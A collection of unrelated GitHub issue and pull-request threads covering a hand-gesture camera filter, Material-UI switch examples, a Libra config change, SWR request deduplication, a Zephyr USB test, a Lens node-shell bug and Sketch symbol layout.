I would like to add the filter with OpenCV and Mediapipe. The former provides the base of operation while the latter is used to get the orientation and the keypoints of the hand landmarks. Then, these landmarks will be fed to a neural network which will guess the gesture made by these keypoints. Upon the detection of the any of the three gesture, an image of the frame would be taken and will be included in the top where the gesture outlines would be there.
Describe alternatives you've considered.
For starters, a linear NN. If the initial model fails to provide satisfactory results, I would like to use machine learning algorithms like decision trees, or SVMs.
Add any other context or screenshots about the feature request here.
For reference, the link for the video which shows the filter as a tiktok compilation.

Please assign me the issue under GSSoC'24.


Renaming README.txt to README.md so markdown is rendered on GitHub.

Why not merge... @vbuterin

ping

Unfortunately it looks like this project has been abandoned by @vbuterin

Unfortunately it looks like this project has been abandoned by @vbuterin

Seems the is a duplicate of #53 anyhow.


Adds the 'EMAIL_USE_TLS' option to the settings file.

Resolves #277

@JeanFred we OK to merge this?

:+1:

Please... :+1:

Thanks for the pull-request @movermeyer !


[ISSUE] Test in macOS is needed

System information

Hardware: None
CPU: None
OS: macOS
Commit id or version: None

Describe the issue

Currently, the application is tested only in Windows and Linux
It's not sure if it works on macOS. Also, test with retina display is needed because it uses different resolution policy
Update wiki for macOS if needed

Expected behavior

The application doesn't crash
Display is not broken

To Reproduce

Run the application in macOS

Build Command
None
Log
None
Screenshots
None
Additional context
None

The following error happened:
Error at /Users/runner/work/rotation_master/rotation_master/desktop/gl_helper/window.cpp:158


[docs] Added new customized switch examples

[x] I have followed (at least) the PR section of the contributing guide.

Added Android 12 switch and custom icon in thumb example to the docs
Issue: #25919
Fix #25985
Preview: https://deploy-preview-26096--material-ui.netlify.app/components/switches/#customized-switches

Looks great. A couple of suggestions on the iOS Switch.

we should remove the border for the unchecked version
we should make the background darker grey

I will update the iOS Example as well to more closely resemble the "real" iOS switch control.
Another question: I don't know how to fix the remaining failing test. What has to be done to fix it?

I will update the iOS Example as well to more closely resemble the "real" iOS switch control.

Great!

Another question: I don't know how to fix the remaining failing test. What has to be done to fix it?

We will just approve the new screenshot in the end, no need for fixing anything :)

For iOS, see https://github.com/mui-org/material-ui/issues/25985#issuecomment-827083489

I have updated the iOS Switch including proper disabled state. What do you think?
Images:

For reference screenshots from iOS:

I have updated the iOS Switch including proper disabled state. What do you think?

Looks awesome!

I have pushed the effort one step further, mainly by adding the Material-UI Switch (MUI has its own branding which is not to be confused with Material Design).

I have quite struggled to implement this. It took me more time than I had anticipated. @siriwatknp did his share too in https://mui-treasury.com/styles/switch/. @DanielBretzigheimer I wonder how we could simplify the customization of the component. A few thoughts:

the input catches the dev tools inspector, it's such a pain. I doubt we can solve this. One this that would help is to flatten the structure, have the input as a direct children of the root.
the DOM nodes are verbose, e.g. MuiButtonBase-root MuiIconButton-root MuiIconButton-sizeMedium MuiSwitch-switchBase MuiSwitch-colorSecondary PrivateSwitchBase-root Mui-checked css-1eusvr7-MuiButtonBase-root-MuiIconButton-root-MuiSwitch-switchBase). It makes it hard to understand DOM structure. I think that we should at the very least drop the IconButton #21503.
the style of MuiSwitch-thumb has to be moved into two different places simply to apply to leverage the check pseudo-class. Maybe it would be simpler if the thumb had its own pseudo-class. Not sure, because it's mostly disturbing by not being on the root. So I guess that if we move the pseudo-class to the root, we would be good.

I fully agree with you on the input part. Clearing up the DOM Structure seems like a good Idea, using a IconButton was confusing for me.
I will have a look into it and will try to find a better solution. Should I append the changes to this PR or create another one? Also, this will certainly be a breaking change, but this seems to be okay?

@DanielBretzigheimer If you can explore this in another pull-request, it would be awesome. I have linked the two relevant issue in my previous comment. As for this PR, no, it's already larger than it needs to be, no more :).


[config-builer] add account auth key

Motivation
Since we need auth key to create the account and cli doesn't support
passing the public key directly anymore this PR adds the auth key to the
config.
We need to create the account before register the validator.
Have you read the Contributing Guidelines on pull requests?
Y
Test Plan
cargo x test -p config-builder
Related PRs
(If this PR adds or changes functionality, please take some time to update the docs at https://github.com/libra/website, and link to your PR here.)

@bors-libra r=sblackshear

:pushpin: Commit bec8f64 has been approved by sblackshear

:hourglass: Testing commit 612c47379dff488af57801a238eb80a3f980c2e6 with merge 61a7041f2ffe40574a43c2b6771b3acc06e73856...

@bors-libra r=sblackshear

:pushpin: Commit 612c473 has been approved by sblackshear

:hourglass: Testing commit 612c47379dff488af57801a238eb80a3f980c2e6 with merge 8f23cfc2d58dd6ee567be19759a6a6381437c9f5...

@bors-libra cancel

We already have a test key, why are we adding another key?

@bors-libra r-

we should be able to compute the authentication key from the account public key, no?

:broken_heart: Test failed - checks-circle_commit_workflow

This is to enable easy movement from config to cli, works for now...
@bors-libra r+

:pushpin: Commit ea8a433 has been approved by davidiw

:hourglass: Testing commit ea8a43354bb6939b8aaf29ad5e6ea215a4bb82b1 with merge 592161f9d4f0812ffef63fc335eef568e8fce167...

:sunny: Test successful - checks-actions_land_blocking_test, checks-circle_commit_workflow
Approved by: davidiw
Pushing 592161f9d4f0812ffef63fc335eef568e8fce167 to master...


Fix duplicate requests

Fixed a few issues with this PR:

Each instance of useContest was making a new request due to a useEffect hook that was calling mutate(). Due to https://github.com/vercel/swr/issues/1417, these requests do not take into account the dedupe interval (default: 2000 ms). I don't see a scenario where the useSwrContest hook would remain mounted as the contestId changes, so I feel like this hook should be safe to remove.
After fixing that, only one request was being made on loading the contest page, but when opening the entry modal, it would fire a new request on mount, which would re-fetch the entries from the server and if the user was in the middle of voting, the entries would be shifted around after closing the modal. Set the default dedupe interval of useSwrContest to 15min to allow the data to remain consistent while on the page. This can be overriden by callers.
Also addressed the dev requests by adding a makeRequest flag that can be set to false to suppress the request.

Closes #310

@rissois I'm bypassing the review to be able to get this to prod.


tests: usb: Include desc_sections test for native_posix

After including native_posix USB controller we can perform some simple
tests on native_posix.
Signed-off-by: Andrei Emeltchenko<EMAIL_ADDRESS>

Codecov Report

Merging #13086 into master will increase coverage by 0.15%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master   #13086      +/-   ##
==========================================
+ Coverage   48.63%   48.79%   +0.15%
==========================================
  Files         313      313
  Lines       46439    46439
  Branches    10710    10710
==========================================
+ Hits        22585    22659      +74
+ Misses      19398    19295     -103
- Partials     4456     4485      +29

Impacted Files
Coverage Δ

include/logging/log_backend.h
45.65% <0%> (ø)
:arrow_up:

subsys/logging/log_output.c
47.58% <0%> (+0.37%)
:arrow_up:

drivers/usb/device/usb_dc_native_posix.c
12.09% <0%> (+1.39%)
:arrow_up:

subsys/usb/usb_descriptor.c
53.84% <0%> (+53.84%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 2d9bbdf...ae0f3db. Read the comment docs.


Update readme add language models

I have added two new interesting models, Llama2 and BERT, to the README.

thank you for your commit but as you read the contributing guidelines you will have to star the repo for me to accept the pull request and fun fact : i was gonna push Bert in my next commit with other modifications tomorrow

ok


can't use node-shell

Describe the bug

btw:
it works well before, and the node-shell pod was deleted by lens, i found the delete api send by lens in logs of kube-apiserver, this causes the shell window not to be built. anything changed recently?
Environment (please complete the following information):

Lens Version: 2024.3.271133-latest
OS: Apple M3 Pro
Installation method (e.g. snap or AppImage in Linux):

Hello lucming,
Thank you for reaching out to Lens support!
Thank you for reporting a bug.
We are working on your issue. Stand by for further updates.
Best Regards,
Tikhon Kudinov
Lens Support Engineer
Mirantis, Inc

Can you please post a video or at least more screenshots showing what exactly happens when clicking that button?

Can you please post a video or at least more screenshots showing what exactly happens when clicking that button?

https://github.com/lensapp/lens/assets/32814765/0edca5af-54b1-46d8-b74f-bcc3f67957b9

same issue

Same here. But only on k8s clusters v1.29.x.


Layout support for Symbol instances

Great work on supporting Symbols!
I had a quick try and I'm curious what's the plan for integrating the Symbol support with css-layout so that Symbol instances may act like first-class citizens within a rendered layout?
As far as I understand right now, and from my limited testing, css-layout requires explicit widths and heights to be passed to a Symbol instance or it will render as a 0x0 layer.
Have you considered feeding css-layout the actual raw contents of the symbol master at layout time, with overrides applied, so that it will take full advantage of the constraints, and then replacing this at render time with an instance of the corresponding symbol whose width and height and position are set based on the layout?
I have a few hours free so I will have a look at the code and maybe take a stab at this, but I cannot guarantee anything. If anyone else is working on this, give me a heads-up!

There are some potential issues with this that I can think of:

Performing proper layout requires replacing the symbol instance with the layers it's composed of in its master. This also requires respecting overrides recursively, and unpacking until you get a hierarchy made entirely out of primitives. This is solvable but might be demanding in terms of resources.
The layout constraints available in Sketch symbols do not fully cover what's possible with flexbox. This means that symbol instances whose sizing has been determined by css-layout may have some visual glitches due to the same sizing being applied on a more limited constraint system. As far as I can tell from looking into the file format, symbol instances in Sketch are represented as a single reference to the master plus optional overrides. This means that there's no way to replace the contents of a symbol instance and render a custom layout inside it. This poses a big limitation. Any ideas how to overcome it? I believe that symbol layout may still be useful for small things such as buttons resizing based on content, but overcoming this larger roadblock may make it a better system.